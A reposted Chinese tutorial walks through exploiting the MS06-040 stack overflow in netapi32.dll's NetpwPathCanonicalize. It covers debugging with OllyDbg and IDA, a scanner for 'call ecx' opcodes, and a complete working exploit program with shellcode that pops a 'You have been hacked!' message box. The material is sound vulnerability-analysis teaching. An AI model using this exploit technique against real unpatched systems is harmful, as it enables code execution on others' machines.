码迷,mamicode.com
首页 > 其他好文 > 详细

缓冲区溢出分析第08课:MS06-040漏洞研究——动态调试

时间:2015-05-02 09:39:26      阅读:223      评论:0      收藏:0      [点我收藏+]

标签:i春秋   姜晔   ms06-040   安全   漏洞   

前言

        经过上次的分析,我们已经知道了MS06-040漏洞的本质,那么这次我们就通过编程实现漏洞的利用。

 

编写漏洞利用程序的框架

        这里我使用的是VC++6.0进行编写,需要将包含有漏洞的netapi32.dll文件与工程文件放置在同一个目录下。程序如下:

#include <windows.h>
typedef void (*MYPROC)(LPTSTR, ...);

int main()
{
        char Str[0x320];
	char lpWideCharStr[0x440];
	int  arg_8 = 0x440;
	char Source[0x100];
	long arg_10 = 44;
	
	HINSTANCE LibHandle;
	MYPROC Func;
	char DllName[] = "./netapi32.dll";
    
	LibHandle = LoadLibrary(DllName);
	if( LibHandle == NULL)
	{
		MessageBox(0, "Can't Load DLL!", "Warning", 0);
		FreeLibrary(LibHandle);
	}
	
	Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
	if ( Func == NULL )
	{
	    MessageBox(0, "Can't Load Function Address!", "Warning", 0);
		FreeLibrary(LibHandle);
	}

        memset(Str, 0, sizeof(Str));
	memset(Str, 'a', sizeof(Str)-2);
	memset(Source, 0, sizeof(Source));
	memset(Source, 'b', sizeof(Source)-2);

	(Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);

        FreeLibrary(LibHandle);
	return 0;
}
        程序主要是通过LoadLibrary()函数获取当工程前目录中的netapi32.dll被加载后的基地址,再获取位于该DLL中的NetpwPathCanonicalize()函数的地址,并且利用memset()函数对包含有漏洞的函数的Str和Source参数的内容进行填充,最后再对其进行调用。将程序编译执行,系统会提示出错:

技术分享
图1

        由错误代码可知,程序出现了缓冲区溢出的错误,返回地址被覆盖成了0x61616161,也就是四个“a”。

 

动态调试漏洞

        我们使用OD载入上述程序,同时用IDA载入Netapi32.dll这个动态链接库。然后在OD中执行完LoadLibrary()这个函数:

技术分享

图2

        可见此时netapi32.dll已经成功加载,并且eax中保存的就是该动态链接库的加载地址。下面在IDA中找到函数NetpwPathCanonicalize()函数的地址:

技术分享

图3

        可见该函数的地址为0x7517F2E2,那么我们在OD中直接跳到这个位置,下断点并执行过来:

技术分享

图4

        结合上次的分析我们知道,出问题的函数是位于0x7517F856位置处的函数调用call sub_7517FC68:

技术分享

图5

        那么接下来用OD进入这个CALL进行分析。首先看一下当前栈中的情况:

技术分享

图6

        由上图可知,返回地址为0x0012F670的位置,也是需要被“跳板”覆盖的位置。这里让程序执行完第一个字符串拷贝函数:

技术分享

图7

        可以看到,程序在位于0x0012F258位置处开始,一共拷贝了254也就是0xFE个字母“b”,这和我们编写的程序是一致的。然后程序会在这段字符串后面加上“\”,接着来到了第二个字符串拷贝的位置:

技术分享

图8

        这里将长串字符“a”连接在了“\”的后面,“a”的起始地址为0x0012F358,一共拷贝了798也就是0x31E个。这与我们所编写的程序是一致的。然后执行到返回的位置,由于返回地址是一个不可识别的空间,所以就会提示出错:

技术分享

图9

        此时可以发现,ecx中保存的正是缓冲区起始位置的地址,那么我们就可以利用这一特性,将ShellCode植入Source串中,并将返回地址覆盖为call ecx,这样当程序返回的时候,就会直接来到0x0012F258的位置进行执行。

 

获取CALL ECX地址

        我们还需要查找一下call ecx这条指令。它的OPCODE为FFD1,我们直接在Netapi32.dll这个程序中进行查找,只需将我们之前讲过的用于查找call esp的程序稍作改动即可:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#define DLL_NAME "./netapi32.dll"

int main()
{
        BYTE *ptr;
        int position,address;
        HINSTANCE handle;
        BOOL done_flag = FALSE;
        handle = LoadLibrary(DLL_NAME);
        if(!handle)
        {
                printf("load dll error!");
                exit(0);
        }
        ptr = (BYTE*)handle;

        for(position = 0; !done_flag; position++)
        {
                try
                {
                        if(ptr[position]==0xFF && ptr[position+1]==0xD1)
                        {
                                int address = (int)ptr + position;
                                printf("OPCODE found at 0x%x\n", address);
                        }
                }
                catch(...)
                {
                        int address = (int)ptr + position;
                        printf("END OF 0x%x\n", address);
                        done_flag = true;
                }
        }
        getchar();
        return 0;
}
        结果如下:

技术分享
图10

        依据上图,这里我选择的是第一个结果,也就是0x751852F9作为我们的ShellCode的跳板。需要说明的是,这里的返回地址为0x0012F670,缓冲区的开始位置是0x0012F258,它们之间的偏移为0x418,去掉参数Source以及“\”所占据的0x100,得到0x418-0x100=0x318,也就是说,从Str字符串的偏移0x318位置开始,就是需要我们覆盖掉的返回地址的位置。

 

完成漏洞利用程序

        于是可以将之前的框架程序修改为:

#include <windows.h>
typedef void (*MYPROC)(LPTSTR, ...);

char ShellCode[] = 
			  "\x33\xDB"                          // xor ebx,ebx
			  "\xB7\x06" 						  // mov bh,6
			  "\x2B\xE3"  						  // sub esp,ebx
			  "\x33\xDB"                          // xor ebx,ebx
			  "\x53"                              // push ebx
			  "\x68\x69\x6E\x67\x20"
			  "\x68\x57\x61\x72\x6E"              // push "Warning"
			  "\x8B\xC4"                          // mov eax,esp
			  "\x53"                              // push ebx
			  "\x68\x2E\x29\x20\x20"
			  "\x68\x20\x4A\x2E\x59"
			  "\x68\x21\x28\x62\x79"
			  "\x68\x63\x6B\x65\x64"
			  "\x68\x6E\x20\x68\x61"
			  "\x68\x20\x62\x65\x65"
			  "\x68\x68\x61\x76\x65"
			  "\x68\x59\x6F\x75\x20"   // push "You have been hacked!(by J.Y.)"
			  "\x8B\xCC"                           // mov ecx,esp
			  "\x53"                               // push ebx
			  "\x50"                               // push eax
			  "\x51"                               // push ecx
			  "\x53"                               // push ebx
			  "\xB8\xea\x07\xd5\x77"               
			  "\xFF\xD0"                           // call MessageBox
                          "\x53"
                          "\xB8\xFA\xCA\x81\x7C"
                          "\xFF\xD0" ;                          // call ExitProcess			  

int main()
{
        char Str[0x320];
	char lpWideCharStr[0x440];
	int  arg_8 = 0x440;
	char Source[0x100];
	long arg_10 = 44;
	
	HINSTANCE LibHandle;
	MYPROC Func;
	char DllName[] = "./netapi32.dll";

	LoadLibrary("user32.dll");
    
	LibHandle = LoadLibrary(DllName);
	if( LibHandle == NULL)
	{
		MessageBox(0, "Can't Load DLL!", "Warning", 0);
		FreeLibrary(LibHandle);
	}
	
	Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
	if ( Func == NULL )
	{
	    MessageBox(0, "Can't Load Function Address!", "Warning", 0);
		FreeLibrary(LibHandle);
	}

        memset(Str, 0, sizeof(Str));
	memset(Str, 'a', sizeof(Str)-2);
	memset(Source, 0, sizeof(Source));
	memset(Source, 'b', sizeof(Source)-2);
	memcpy(Source, ShellCode, sizeof(ShellCode));

	Str[0x318] = 0xF9;
	Str[0x319] = 0x52;
	Str[0x31A] = 0x18;
	Str[0x31B] = 0x75;

	(Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);

        FreeLibrary(LibHandle);
	return 0;
}
        运行结果如下:

技术分享
图11

        可见我们已经成功地利用了这个漏洞。

 

小结

        由此可见,对于系统级别的漏洞,及时更新补丁是非常重要的。而作为漏洞分析人员,也要具备恒心与毅力,不断地积累经验,勇于接受挑战,多多尝试,才能有所收获。

缓冲区溢出分析第08课:MS06-040漏洞研究——动态调试

标签:i春秋   姜晔   ms06-040   安全   漏洞   

原文地址:http://blog.csdn.net/ioio_jy/article/details/45430681

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!